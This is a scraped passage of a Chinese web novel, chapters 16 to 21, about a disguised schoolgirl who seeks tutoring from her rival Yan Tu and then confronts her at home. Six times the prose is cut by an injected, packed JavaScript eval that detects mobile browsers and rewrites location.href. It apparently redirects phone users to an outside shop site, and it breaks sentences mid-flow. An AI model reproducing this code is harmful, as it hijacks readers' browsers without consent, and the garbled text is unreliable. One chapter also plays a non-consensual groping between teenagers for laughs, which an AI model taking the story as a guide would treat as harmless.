只见教室里每张课桌上几乎堆满高高的书籍,十几个放学没回家的学生围坐在前三排,各自埋头疾笔,或互相小声地交头探讨。 而背影纤瘦、气质清雅脱颖的严菟正坐在第一排的中间,被左右后方的同学拥围着,时不时有人俯过身去,把手里的本子或卷子伸到她的跟前…… 沈析洛忍不住感叹:不愧是尖子班呀,学习氛围真的很浓厚! 她抱着书从后排开始小心翼翼地凑近过去,然后选在了人群的外围位置坐下来。 正当她准备翻出书本中那些提前做好标记的难题时,坐她右手边的一个男同学,用笔头戳了戳她的胳膊,然后推了一下鼻梁上的眼镜,低声道:“喂,你好像不是我们班的吧,你谁啊?” 主要是来人戴着口罩,看起来有点可疑。 沈析洛不耐烦地侧过头去,警告地瞥了他一眼:“要你管啊,四眼田鸡。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132626|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你这个女生怎么说话的!”突然被人身攻击的男同学这下不干了,压着声音反驳道:“你、你不也是四眼田鸡!” 沈析洛两手压着耳后的眼镜腿,上下快速翻动鼻子上的眼镜,“我这是平光眼镜,用来装酷的;你那镜片比玻璃瓶底还厚,不叫你四眼田鸡叫你什么?” 男同学瞬间给气的:“你你你到底是哪个班的,叫什么名字?!” 沈析洛学他说话:“要要要你管啊,你以为你是谁啊!” 男同学依然压低声音:“我是这个班的班长,我有义务和权利驱赶你这个来者不善的可疑人!” “……”沈析洛默了默,想着这阵子如果要常来这里,还是不要得罪A班的主干人物比较好。于是她伸手握了一下对方的手,道:“你好,我是四眼辣鸡,大家同为鸡,就不要互相为难了。” “……”男班长据理力争:“田鸡是虎纹蛙,不是鸡!” 沈析洛态度敷衍:“对对,我也是葫芦娃。” 男班长:“你真是不可理喻!” 沈析洛反客为主:“行了行了,安静点,别打扰到其他同学温习功课。你看我书本都带来了,就知道我是来认真学习的,你再纠结下去,大家今天都别学了。” 男班长重重地“哼”了一声。他看对方打扮土气,除了形象委琐和说话气人外,暂时也瞧不出有什么危险的地方,于是他转开身去,不理会对方。 沈析洛见男班长不再关注自己,这才夹着书本,一点一点地退回过道,然后往前挪,来到了第一排的最前面。 她以亚洲蹲的姿势蹲在了严菟的课桌跟前,把自己的书本推过去,一手扒在桌沿边,一手指着书本上的内容,露出半颗蘑菇头,以求知若渴(眼巴巴)的目光望着对方,道: “同学,这一题我不会,能不能教教我?” 17. 第17章 “同学,这一题我不会,能不能教教我?”沈析洛以仰视的角度抬头。 上方的严菟刚要低眸去看她,一只陌生的手忽然横插过来,把课桌上的书本推还给沈析洛。 手的主人正坐在严菟的右侧,是个扎丸子头的女生,女生站起来居高临下地道:“同学你哪位呀,懂不懂什么叫先来后到?” 经对方这么一说,沈析洛这才发现桌面上还堆叠了几套卷子,应该是出自几个不同的人,她刚刚的书往课桌上这么一搁,倒是把别人的卷子给盖在了下面。 沈析洛谨记自己是来学习的,不是来找茬的,于是自认语气友好地回应对方—— “不懂。” 然后再次把自己的书本摊开到严菟跟前。显然她的语气和行为并不是一回事。 “你!!”那丸子头女生被她的回答呛了一下,干脆越过严菟,径自拿起她的书本,道:“我们班严菟很忙,没空理你,你哪里不懂可以来问我。”然后一边浏览书中的题目,一边发出嘲笑,“这么简单的题都不会,你是小学生吗?” 沈析洛慢慢站起身,隔着口罩瓮声瓮气:“你翻着我的高中课本,还能把我猜成小学生,我觉得你智商不太行。” “你说什么!”丸子头女生这下恼了:“我、我看你一副蠢样就知道你不是读书的料!!” “是啊,被你看出来了。”沈析洛淡定地伸臂夺回自己的书,“所以麻烦你不要这么积极找我搭话,我不想和你物以类聚。” 那女生指着她:“你、你不是我们班的,马上给我出去!” 沈析洛:“你们班,你一个人说的算吗?” “……” 坐在边上的严菟从头一言不发,本想拿着书和笔换去其它安静的座位,可当蘑菇头女生探过身来夺书时,一股清淡却隐隐有丝熟悉的气息随之扑鼻而来。 严菟手头的动作微顿,原本对周围漫不经心的她这才正眼打量起对方。 见站着的两人就快吵上了,严菟轻拉了一下丸子头女生的衣角,温声道:“钰芯,别争了,快坐好。”然后转向跟前的蘑菇头女生,“同学,你哪些题不会,我帮你看看。” “好叻!”沈析洛一听人家答应,立刻高兴地去旁边拖张椅子过来。 不过还没等她坐下,一个温润的嗓音忽然介入,问道:“你们这边怎么了?”同时后方走来一位身高近一米八、长相白净俊俏的男生。 啊,是欧阳峤!沈析洛登时双眼泛光——学习果然改变命运,桃花运都来了! 是的,每个少女心目中都有一个白马王子,沈析洛亦不例外,她不喜欢那种五大三粗的硬汉子,就喜欢这种白白净净、如沐春风的小鲜肉,当然,长得好看才是重点! 上一世,沈析洛经常远远地欣赏着人家;这一世……算了,人家喜欢的是严菟。 不过能像现在这样近距离接触对方,沈析洛还是很兴奋的。 丸子头女生也叫唐钰芯,她再次站起来指着蘑菇头,“欧阳,你看看这个人,也不知道是哪个班的,突然跑到咱班影响大家学习,还拿这些小学呃……幼稚的题目来骚扰严菟!” 欧阳峤走到严菟旁侧,低头道:“是么,让我看看……”说着伸手要去拿课桌上的书。 严菟不着痕迹地移开书本,不让对方触碰,她头也不太抬:“没有的事,是我想帮这位同……” 她的话还未说完,沈析洛当即见风使舵地用力抽回自己的书本,双手奉到欧阳峤面前,用乐滋滋的语气道:“给你看呀,同学!” 严菟先是一愣,继而微不可察地挑了下眉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132627|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “呵。”旁边的唐钰芯一声轻嗤,用不大不小的声音和身后的另外两三名女生闲聊道:“以为人家是诚心来请教问题的,没想到又是一个冲着欧阳峤来的花痴……” 另外的女生也附和着:“脸皮真够厚的!” 对这些小声的议论充耳不闻,欧阳峤翻了一下书,问:“就是这些标了记号的题吗?” 同样充耳不闻的沈析洛:“是的是的。” 欧阳峤:“这些题都很简单,我可以教你,你别再打扰严菟了。” 一旁的沈析洛蓦地双手交叠捂着胸口——噢,校草这是在维护严菟么?好感人呐!虽然反派好像是自己…… 她故作一脸惊喜:“诶,真的吗?!好呀好呀,当然好呀!” 又忍不住暗自地想:原来严菟在A班挺受人拥戴的,以前她以为是对方擅于装可怜才引来他人的同情,现在看来好像并不是…… 欧阳峤指着后排的课桌:“我们去那边。” “嗯嗯。”沈析洛屁颠屁颠地跟过去。她要趁现在多看会小鲜肉,好好饱一饱眼福。 严菟沉默地看着两人往后走,当她的目光无意触及到蘑菇头女生脚上那双扎眼的限量版红色板鞋时,这才在心底真正确定了对方的身份。 她微微垂眸,玩转着手里的笔杆—— 你伪装成这副模样,就是为了吸引欧阳峤的关注吗? 后排开始传来蘑菇头女生特有的吭哧吭哧的笑声,以及欧阳峤耐心的询问:“听得懂吗?……你有在听吗?……” 严菟手头的笔杆中间陡然裂出一道缝痕,她随手将笔扔进课桌抽屉,接着站起身来朝后排走去。 来到那两人跟前,严菟露出温和一笑,道: “学习的时候小声点比较好,你们觉得呢?” 18. 第18章 “学习的时候小声点比较好,你们觉得呢?” 闻言,坐在前后座位的两人同时抬起头来。 欧阳峤的第一反应:不是吧……向来对他态度冷淡的严菟,这次居然主动走过来了,难道是看到他和别的女生互动,开始在意了?? 沈析洛的第一反应:不是吧……向来不爱管闲事的严菟,这次居然主动上来打断他们,难道严菟其实是很在意欧阳峤的,看到他和别的女生互动,开始吃味了?? 这么想的两人陡然同时站立起身,各自往后退了一步,椅子被拖出“咿呀”/“咿呀”的声响。 彼此动作的默契又让两人不约而同地互视了一眼。 一旁的严菟将他们的“眉目传情”纳入眸中,不知为何心情变得有丝浮躁。 她拿起他们桌上的草稿纸细细看了一遍,然后对向蘑菇头女生,轻声说道:“你们这样的学习效率太低了,不如还是让我来教你,怎么样?” “好、好啊,当然好!”沈析洛赶紧连连点头—— 拜托,她之前只是以为严菟对欧阳峤不来电,所以才暗搓搓地想更凑近男神一点,现在知道这是严大佬看上的男人,她哪还敢轻易染指! 不过就算她想去染指人家小鲜肉,人家估计也不乐意呀!这样想来的话,严大佬和欧阳峤应该是双箭头关系,所以她到底要不要帮他们戳破这层暧昧朦胧的窗户纸呢?…… 欧阳峤这会儿也暗自窃喜地让开到一边,对严菟说:“我这个位置给你坐吧。” “嗯。”严菟坐了过去,不再多话,直接指着题目便开始讲解了起来。 才回过神来的沈析洛见对方态度认真,自己也不好随意插科打诨,一下就跟着对方的讲题节奏,专注起来。 “……”旁边的欧阳峤本来还想继续说些什么,这会反而插不上话了,他在原地待了十几秒,最后只好无趣地转身走开。 渐进学习状态的沈析洛慢慢能吃透对方所讲的解题步骤,因为对方简直是把每道题掰开揉碎了,再一点点灌输给她。 那日花坛边几个女生说的话诚不欺她,比起老师们大同小异的教学模板,严菟针对个人的拓展指导更让人觉得简单易懂! 哪怕沈析洛中途表现得宛如个智障,严菟也能面色如常地纠正她。 比如其中一道题,代入公式后解出了复杂的证明过程,就差最后一步求总数,严菟让她自己乘除运算。 沈析洛一边写,一边在口中碎碎念:“……六乘以九等于……等于四十五。” 严菟提醒她:“六九五十四。” 沈析洛一呆,当即满脸发窘地把书竖起来挡住自己:“啊啊啊,你是不是觉得我很好笑?想笑就笑吧……” 严菟:“为什么好笑?” 沈析洛自我吐槽:“乘法表背不熟,我连一年级的小学生都不如,这还不好笑吗?” 严菟见她似乎有点沮丧,于是语气温和道:“东西不常用,搁置久了容易被遗忘,学习也一样,等你拿出来反复使用,自然就能记住它们了。” “……!!”妈呀,她一个实际年龄二十六七岁的大人居然被个十六岁的少女给指引人生了!! 无形中的通情达理最为致命! 她激动得手一抖,挡面前的课本顷刻滑倒,她瞬间又撞进对方柔光粼粼的目光里。 沈析洛的心神莫名狠狠地荡漾了一下…… 她猛地站起来,两手一扫桌上的书本纸笔胡乱塞进自己的挎包里,故作一副急迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132628|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子道:“我突然想起我家煤气炉没关,我要先走了!!” 严菟:“……” 眼看她要抽身离开,严菟及时地拉住她衣角,抬起好奇的双眸:“同学,还没问你名字呢。” “……”完全忘了这茬的沈析洛,急中生智:“明天再告诉你!” 严菟:“你明天还要来找我?” 沈析洛理所当然地嚣张道:“不然呢?不行啊?不欢迎啊?” “……”就不能稍微掩饰一下性格吗?太容易暴露了。严菟抿唇,点头:“行,欢迎。” 沈析洛大概也意识到自己这下意识的回应太放肆了,于是她垮下双肩,试图让自己的语气听起来恳切些:“不行吗?不欢迎吗?” 严菟:“……行,欢迎。” “那就好啦!”说完,沈析洛一把挥开对方的手,头也不回地闪身跑人。 目送对方匆匆离去的背影,严菟淡然一笑。 时不时关注着这边的欧阳峤,见那蘑菇头女生跑了,这才走上前来,道:“严菟,我有话……” 不等他的话说完,严菟神色冷清地从他身边越过:“晚了,该回家了。” 过道明明很狭窄,少女走过去时,硬是和他拉开半臂的距离。 欧阳峤登时内心复杂:看来,刚才他以为的“少女在意他”,是种离谱的错觉呢。 他道:“嗯,明天见。” * 直奔到校门口的沈析洛终于停下来,双手撑膝,微微喘气,同时心中又忍不住懊悔了起来—— 感觉自己这副撒腿就跑的模样,像极了嫖完不给钱的混蛋…… 人家那么用心辅导你功课,至少该好好跟人家说一声“谢谢”啊,混蛋!!! 19. 第19章 卸下一身伪装,回到家中的沈析洛匆忙扒着晚饭。 沈母刚好路过饭厅,照例上前去关心地问她今天又去什么好玩的地方了。 沈析洛随口一句去游戏厅了,然后没一会儿便搁下下碗筷,咚咚地跑上楼,回房,锁门。 沈母站在楼梯口,笑骂:“瞧这孩子,怎么老是毛毛躁躁的……” 沈析莉正从楼上下来,她亲昵地挽住沈母:“妈妈,您觉不觉得姐姐最近好像变了很多?” 沈母挑起尖细的眉,疑惑:“哦?这倒没怎么注意,析洛看起来和平时一样呢,哪里有变了?” 沈析莉控诉道:“很明显啊,姐姐变得越来越没大没小了,您看看她最近和您说话的态度和口气,一点都不尊重您,您难道不生气的吗? 而且她脾气也越来越坏了,之前我有事找她,她虽然很不耐烦,但多少能听进去一些,现在我还没来得及说上几句,她就无缘无故开始凶我了……” 沈母听了立刻担心地摸她的头:“我的心肝宝贝呀,你姐姐该不会是打你了吧?” 沈析莉撇嘴:“那倒没有……” “那就好。”沈母松了口气,试问道:“你是不是讨厌你姐姐了?” 沈析莉移开视线:“……没有呀。” 沈母目光怜爱地看着她:“你是我的孩子,我难道会不知道你的心思么?乖,我们家析莉最听话懂事了,别和你姐姐一般见识,她呀,就是个长不大的孩子,所以性格才会那么淘气,你平时多让着她点……” 沈析莉眼中满满的不甘:“她是姐姐,我是妹妹,凭什么要我让她?” 沈母忽然重重叹了一声:“唉,怪我不好,你姐姐从小性格刚烈好强,是我管教不了她,这都是我错,所以除了顺着她纵容她,我还能有什么办法呢……现在,连你也要来伤我的心吗?” 沈析莉赶紧表明心意道:“不是的,妈妈,对不起,您别伤心,我绝对不会像姐姐那样让您失望的!” “嗯,好孩子。”沈母再次摸摸她的头,转移话题:“听说今天钢琴老师又表扬你了?” 沈析莉一脸自豪:“是的,老师说我学得快,夸我很有音乐天赋。妈妈,走,我这就把今天新学的曲子弹给您听……”说着,便拉着沈母上楼去。 沈母神情宠溺:“好……” 不远处,背着书包站在客厅偏角的严菟,安静地看着母女俩互相挽着胳膊一起上楼—— 好一出母女情深,然而这对母女之间的温情,永远与沈析洛无关。就不知道万一沈析洛知晓自己的身世后,会是怎么样的反应? 是雷霆大怒,还是伤心欲绝? 严菟不由地微微蹙眉。后面这四个字似乎不太适合出现在对方的脸上…… *** 一回到房间,沈析洛就迫不及待地掏出课本和草稿纸,把放学后严菟教过她的内容重新整理一遍,然后再誊写到新的本子上去。 严菟说她需要做一本错题集,把自己做错的和记不牢的题型记录下来,好方便日常查看练习,加深印象,减少做题失误。 严菟还非常贴心地把一些常用的基础公式单独罗列到另外一张草稿纸上,让她好好去背。 初尝到“题目一教就会”的甜头,沈析洛拿起稿纸的心情就像掌握了绝世武功的秘籍,仿佛只要等她把这里面的内容都参透了,就能将那些世界名牌大学尽收囊中,任意挑选个遍! 然而她来不及认清一个现实:她手上的这一页稿纸只是几十册武功秘籍的其中一小页…… 花了半个多小时,干劲十足地抄写完毕,她又特地在电脑上搜出九九乘法表,抄在错题集的最后一页。 沉浸在学习中不能自拔的她,终于开始慢慢分心了…… 沈析洛有一下没一下地咬着笔头,纠结起学习以外的其他事情。 总感觉有什么不太对劲的细节被她忽略了,但又一时找不到头绪—— 她记得小昂说过,A班上学期的第一名是欧阳峤,这学期严菟转学过来后,就取而代之成了A班的第一名。 欧阳峤和严菟是同一个班的同学。 上一次沈析洛把严菟堵女厕,质问对方为什么要去给欧阳峤递水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132629|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们是什么关系? 而对方当时却反问:欧阳峤是谁? 那时候沈析洛一听,立刻自责起来,责怪自己误会了对方! 然而现在仔细一想,严菟不应该不认识欧阳峤呀…… 转学过来都有一段时间了,哪怕对方真的性格内向、全身心投入学习、两耳不闻窗外事,也不会不知道贴有“A班第一名”、“校草”这两个闪亮标签的欧阳峤! 更何况严菟不是个刻板的书呆子。 小昂说,严菟全校最优秀,是下一届学生会会长的选定接班人…… 这样的人,当时怎么可能会不认识、不知道“欧阳峤”! “啪!”沈析洛猛地折断自己手中笔。这是她第二次在自己房间里折断自己的笔了。 严菟,你竟敢欺骗我!! 沈析洛陡然腾升起莫名的浓浓怒意——亏我那么相信你,把你视为最无辜的人,你却把我当作蠢蛋一样耍骗! 被愤怒冲昏头、一时陷入暴走的沈析洛破门而出,在走廊大声吼叫—— “严菟,你给我出来!!!” 她的咆哮声惊动到了三楼正在钢琴房弹奏的沈母和沈析莉。 坐在钢琴前的沈析莉嘴角偷偷勾起笑,却转身抱住旁边沈母的腰:“妈妈,姐姐这是怎么了,我害怕……” “别怕……”沈母表情控制完美,眼里却露出了一抹看戏的嘲弄之色,她安抚自己的孩子道:“没事,可能是她们在学校闹小矛盾了,你姐姐应该只是想吓唬吓唬严菟而已,咱们在这待着就好,不要去火上浇油……” “嗯。” 沈析洛疾步来到严菟的房门前,砰砰砰地狂拍门板:“严菟你出来,马上给我出来!!” 打雷般的砸门声持续了约莫五秒,然后逐渐变小…… 沈析洛终于拉回了一丝丝的理智—— 诶,等等……我现在是在拍大佬的门? 我这是在跟大佬叫板?? 拍门声戛然而止,沈析洛的手僵硬在空中。 这时,“嗒”的一声,门从里面被打开。 20. 第20章 门被打开,一股怡人的清香味随之迎面飘来。 此时的严菟穿着白色吊带睡裙,外面套了件红色开衫,一头半干半湿的黑色长发随意地披散在胸前与背后。 显然对方这是刚洗完澡,还没把头发彻底吹干,便被敲门声打断,只好套上长袖前来开门。 站在门外的沈析洛禁不住深深嗅了一口迎来的清香气息,瞬间感到无比的神清气爽,连内心余留的最后一丝怒火也跟着消失殆尽。 严菟随手将额前湿润的发丝拨到脑后,露出整张干净无暇的秀美脸蛋,她好奇问道:“洛姐姐,有事吗?” “……”沈析洛直直瞪着对方,心里很纠结,现在摆在面前只有两个选择:是问“爸爸你吃饭了吗”,还是直接说“爸爸晚安”,这两个问候哪个显得比较自然些? 这当然是—— 都不行啦!!她一直在严菟面前极力展现出自己酷炫狂霸拽的一面,现在突然做出这种认怂的举止实在太违反人设了,她绝对不能让之前好不容易维持下来的凶狠形象就此崩塌! 沈析洛陡然大力地一掌拍在门板上,发出“嘭”的一声震响。 严菟受了惊吓般身子蓦地抖了一下。 沈析洛因为对方的轻轻一抖,瞬间像受了巨大惊吓似的猛地弹跳开一步。 严菟:“……” 沈析洛:“…………”真是丢脸丢大发了!! 为了挽回颜面的沈析洛忽然怒喝一声“混蛋”,然后往前三步逼近对方,一个侧转,伸出双臂把对方困在门板之间,气势汹汹地怒视对方,道:“你竟然敢骗我?!” 严菟一时猜不出对方是在指哪件事,她长长的卷睫半垂,弱声问:“……我骗你什么了?” 沈析洛:“上次我问你为什么要给欧阳峤送水,你当时怎么说来着,你说你不认识欧阳峤,可是你们明明是、是……” “是什么?” 沈析洛本想说同班同学,又怕太过具体反而暴露自己今天行踪的可疑。其实她一直都知道两人读在同个班级,只是上次在女厕作质问时,她刚重生过来没多久,一时间没考虑到这一点,所以才轻易地相信了对方。 沈析洛改口道:“你明明就认识他,为什么要骗我说不认识?!” 严菟眉头微蹙地看着她,目光清澈:“在当时那样的情况下,如果我不这么说,你会对我做什么?再打我一巴掌吗?”说到这里,语气中似乎有些倔强,又隐隐带着委屈。 沈析洛无声地在心里赞同——好有道理啊,如果换成上一世,可能还真就动手了! 又听到对方这软绵绵的声调,沈析洛内心转瞬间软得一塌糊涂:这是小白兔为了自保的无奈之举呀,人家分明又无辜又无助,我特么居然还这样凶她,果然是坏到没边了!! 但又能怎么办,现在都已经高调地跑到人家房间来撒野了,总不能无缘无故半途退场吧。 沈析洛脸上维持着怒意:至少要留几句威胁的话才能离开,所以到底说点什么好…… 见她沉默,严菟主动问说:“洛姐姐怎么突然提起这个,是今天发生什么事了吗?” 沈析洛登时露出一脸不耐烦:“关你什么事,问那么多!”不错,这句有点气势了。 严菟抬起琥珀色眼眸:“……你来找我兴师问罪,怎么不关我事?” “嘿诶,我说你!”沈析洛双掌拍了一下对方身后靠着的门板,威慑对方:“都敢我顶嘴了,你不怕我了是吧?” 严菟:“我为什么要怕你?” 沈析洛理所当然:“因为我欺负你啊!” 严菟微微歪头:“我怕你,你就欺负我;那如果我不怕你,你是不是就不欺负我了?” “诶……”沈析洛呆了呆,脑海冒出一圈问号。这逻辑有点绕,容她想一想是哪里不对劲…… 严菟抿起微扬的唇角。 沈析洛在心里掀桌:……谁要想这个啊,恶人是从来不讲道理和逻辑的!她再次狠狠地拍击了一下门板以示警告:“你以为你很聪明吗?耍我很好玩吗?信不信我揍你!”说完,举起手来,试图吓退对方。 许是下午放学时,沈析洛换上伪装第一次与严菟和平相处的模样,让严菟感到新鲜,她一改往常的示弱,这会儿赌气地回应:“那你揍呀。” “诶?”这人怎么突然不按套路出牌了?沈析洛一顿,握起拳头:“我、我可真揍了!” 严菟身子往前倾,同时把脸凑过去:“有本事你揍。” 没本事的沈析洛:“……”然后分心地发现,这么近距离一瞧,对方的皮肤可真好,白白嫩嫩的吹弹可破,让人想掐! 揍是不可能揍的,沈析洛登时想起严菟最后一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132630|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作反击是上次在女厕打她手背的时候…… 眼看对方主动逼近过来,沈析洛决定故技重施,她低下头,故意发出猥琐笑声:“诶嘿,你胸好大呀!”同时伸过手去一摸…… 这手感!令沈析洛忍不住又顺势五指一揉,接着倏地瞪起双眼,倒吸一口气:“嗬——” 僵硬的严菟脸色陡变,终于毫不留情地“啪”一声打下对方的手,她耳尖通红,直骂对方一句:“下流!” 然后狠狠推开对方,转身砰地一下甩上房门,险些让门外的沈析洛撞上鼻子。 沈析洛愣怔地在原地眨了眨眼睛,然后才反应过来,赶紧举起自己火辣辣的手背吹了起来。 哎,小白兔看着弱不禁风的,没想到打起人来这么疼,打的这一下,简直比上次狠了几十倍! 沈析洛不由地腾升起小小的怨念—— 她又不是故意的,谁知道对方今晚会没穿内衣……而且她也不是真心想做这种事,只是刚才握在手中过分柔软的触感,让她忍不住想再进一步去确定,所以才揉了一下…… 此时很是懊恼的她,又带着一丢丢的暗爽—— 啊噢,原来摸别人的感觉是这样的,和摸自己的感觉完全不一样呢…… 接着又惩罚似的用力拍了下自己的额头—— 想什么鬼呢!这种行为一开始就是不对的,居然还敢怪别人没穿内衣,居然还敢觉得自己无辜!重点是,大佬是她能调戏的么!! “喂!”沈析洛对着那扇门,道,“不、不就那什么一下,有什么大不了,大家都是女的,要不、要不……”要不我也让你摸一下啊,大家扯平,就是我的稍微比你小了一点…… 这种话根本说不出口啊!哎,算了……沈析洛干脆闭嘴,选择转身走人。 房里的严菟靠在门边,当对方出声喊“喂”时,她耳朵一动,结果等了半天也没等出完整的下文。 她无声地开启一条门缝,探头侧目望去,只见那人背向着她,一边走去,一边反复拍打自己的手背,同时传来隐约的碎碎念:“……下流,下流,这只手真下流,下次还敢不敢、敢不敢?!” 然后自问自答地回:“敢!”说完哈哈哈地大笑起来,在走廊拐角消失。 严菟一愣,想着自己应该生气才对,可不知道为什么,竟不自主地先翘起了嘴角。 21. 第21章 翌日放学。 沈析洛趁其他人没注意,又戴上了假发、眼镜、口罩,偷偷溜来A班的门口。 她扒在门边东张西望,心里有许小期待和小紧张—— 期待严菟在学习上带她飞升;又紧张自己以这个面貌频繁出现肯定会招人怀疑,到时候如果不小心暴露了身份,严菟大佬不仅不会带她飞,甚至会在心中的小本本再记上一笔:此人玩弄我的感情! 毕竟沈析洛最近“玩弄”严菟已经不是一两次的事了,比如昨天晚上…… 所以当下的粗造伪装不是个长久之计,她必须趁这段时间,再想出个办法来扭转乾坤。 至于为什么非得找上严菟不可,这也不是她没事找事赶着往枪口上撞,实在是人家在辅导功课方面的能力过硬,让她忍不住想夹缝求生地趁机抱一下大腿。 而现在当务之急,她得先改变自己的嚣张形象,要摆出虚心讨教、百依百顺、卑躬屈膝的求学态度来,以防万一真不小心露出马脚了,至少对方还能看在她态度诚恳的份上,不把此账记进小本本里。 思及此处,她不禁感慨自己果然是一个八面玲珑、想事周到的天才! 一只手拍在了沈析洛的肩膀:“喂,怎么又是你?” 沈析洛回过头去,打招呼道:“嘿,好巧呀,你在放风呀?” A班男班长推了下眼镜,一脸严肃:“巧什么巧,放什么风,你鬼鬼祟祟地贴在门边想干嘛?” 沈析洛挺直胸膛:“我哪里鬼鬼祟祟了,这叫做事谨慎,你懂个球。对了,严菟呢,我怎么没看到她?” 男班长:“她去老师办公室了。” “咦!”沈析洛微讶,“难道她上课干了什么坏事吗??” “……”男班长:“去老师办公室就是干坏事?你是不是暴露了你经常上课干坏事然后被老师叫去办公室的事实?” “啧。”沈析洛摇食指,“我最讨厌你们这种一言不合就窥探别人隐私的书呆子了!” 男班长:“谢谢你的讨厌,如果没什么事的话请不要站在别人班门口围观。” “我当然是有事才来的!倒是你,怎么能这样驱赶别班同学呢?”沈析洛双手叉腰,高抬下巴:“在这里我必须批评你,别以为你当上A班班长就觉得很了不起、自以为是,你这副高高在上的态度只会让同学们产生抵触心理,从而反抗到底!” 到底谁高高在上了??男班长正色道:“我从不驱赶别班同学,我只驱赶你,谁叫你打扮古怪,行迹可疑。” “好啊你,居敢公然针对我!”沈析洛说着就要撩起袖子来,“你倒是说说,我哪个地方古怪和可疑了?!” 男班长:“你戴口罩不敢见人。” 沈析洛:“我感冒。” 男班长:“你没近视还戴眼镜。” 沈析洛:“为了和你同步当一只四眼鸡;以及遮挡我的美貌,不让你自卑。” “……”这话真是没法聊下去了,戴眼镜的男班长坚守阵地:“你的头看起来怪怪的,好像比正常人还大了半圈……” 戴假发的沈析洛:“你懂个头,我这叫智慧的脑袋,你是羡慕不来的!” 男班长终于有些生气了:“你、你像个市井泼妇一样,满嘴歪理邪说!” “明明你是在对我评头论足,我忍着没打你,是因为我尊敬你!” “你你你……” 从老师办公室回来的严菟,远远地看见自班班长和蘑菇头女生站在教室门口互相指鼻子,但没听清他们的对话内容,她走过去好奇地问:“你们在干嘛?” 听到严菟的声音从背后传来,沈析洛当即神色一变,立刻收起自己浑身的王八之气,转过身去,以内八的步伐小跑到严菟的跟前,双手握着对方的胳膊,把头轻轻触碰在对方的肩头边缘,一副小鸟依人之势地摇着对方的手臂,梗着嗓子嗲声道:“菟菟,你终于来啦!!” 没反应过来的严菟:“……” 没反应过来的男班长:“……” 沈析洛翘起兰花指指着前面的班长,嗲声告状:“菟菟,这个男生他好坏坏哦,他凶我,欺负我,不让我进你们教室,还说我长得丑、说我头大,我桑心屎咯!” 依然没反应过来的严菟:“……” 被蘑菇头女生的厚颜无耻和颠倒黑白功力震惊到的男班长:“!!!” 从这一刻致力改变自己的沈析洛摇头晃脑:“我好怕怕哟,菟菟……菟菟,你怎么不说话?” 足足愣了五秒的严菟这才回过神来,低眸看她:“同学,你叫我什么?” 沈析洛抬起头来,“菟菟呀,怎么啦,你不喜欢吗?” 好吧,其实她也知道自己这么没羞没臊的喊法挺腻人的,但没办法了,为了在最短时间内拉近彼此的距离,只好主动出击,以撒娇装萌来博取好感,说叠字则是为了显得亲昵些,不过对方应该也觉得恶心吧,她正好可以顺势改过来,反正自己喊着也别扭。 只见严菟握着她的手,目光柔和:“我很喜欢。” “……?!!”沈析洛手一抖,内心卧槽:爸爸我错了!爸爸我不知道原来你喜欢这种画风,能再给我一次重新改过的机会吗?? 但沈析 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 